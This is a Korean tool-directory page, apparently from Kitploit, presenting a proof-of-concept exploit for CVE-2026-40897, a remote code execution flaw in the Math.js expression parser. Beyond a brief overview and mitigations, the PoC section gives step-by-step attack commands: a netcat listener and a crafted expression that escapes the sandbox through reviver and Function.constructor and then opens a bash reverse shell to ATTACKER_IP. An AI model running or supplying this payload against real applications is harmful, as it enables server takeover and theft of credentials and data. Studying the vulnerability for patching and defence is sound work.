Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-40897 — Math.js Expression Parser RCE | Kitploit
도구/GitHubGitHub/eqstlab/cve-2026-40897
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationRemote Access ToolPayload Development
GitHubeqstlab/cve-2026-40897

CVE-2026-40897

Math.js Expression Parser RCE

저장소 보기
22개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-40897 Math.js 표현식 파서의 원격 코드 실행 (RCE)

★ CVE-2026-40897 Math.js PoC 원격 코드 실행 ★

https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898


개요

CVE-2026-40897은 Math.js 표현식 파서의 샌드박스 우회를 통한 원격 코드 실행(RCE) 취약점입니다. isSafeProperty 필터는 사용자 표현식의 속성 접근만 확인하고 내부 코드 경로는 확인하지 않습니다. 공격자는 toJSON()을 통해 ArrayNode의 내부 배열을 유출하고, .map을 덮어씀으로써 내부 코드가 Function.constructor에 접근하여 임의의 JavaScript 코드를 실행하도록 강제할 수 있습니다.


영향을 받는 버전

카테고리버전
취약한Math.js 13.1.1 ≤ version ≤ 15.1.1
패치됨15.2.0

영향

  • 임의의 JavaScript 코드 실행 (RCE)
  • 호스트 파일 시스템 접근
  • 리버스 셸 연결을 통한 전체 서버 장악
  • 백엔드 자격 증명 및 민감한 데이터 유출

환경

root@kitploit:~
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln

PoC

취약한 환경을 시작한 후 다음 단계를 따라 공격을 재현합니다.

Step 1. 리버스 셸 리스너 시작

root@kitploit:~
nc -lvnp 4444

Step 2. 악성 페이로드 제출

다음 표현식을 math.evaluate로 전송합니다 (예: 애플리케이션의 계산 입력창을 통해).

root@kitploit:~
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=>callback({'map':f2(callback2)=>callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()

Step 3. 공격자 측에서 셸 접속 확인

대상 서버가 공격자의 리스너로 연결을 되돌려 대화형 bash 셸을 제공합니다.


완화 방안

  • Math.js를 패치된 버전으로 업그레이드
  • 신뢰할 수 없는 사용자 입력을 math.evaluate()에 직접 전달하지 않음
  • 표현식 파서를 통해 내부 함수/클래스(reviver, FunctionAssignmentNode, ArrayNode)의 노출 제한

분석

  • KR: https://www.skshieldus.com/security-insights/reports/eqst-math-js-rce-cve-2026-40897
  • EN:
도구 다운로드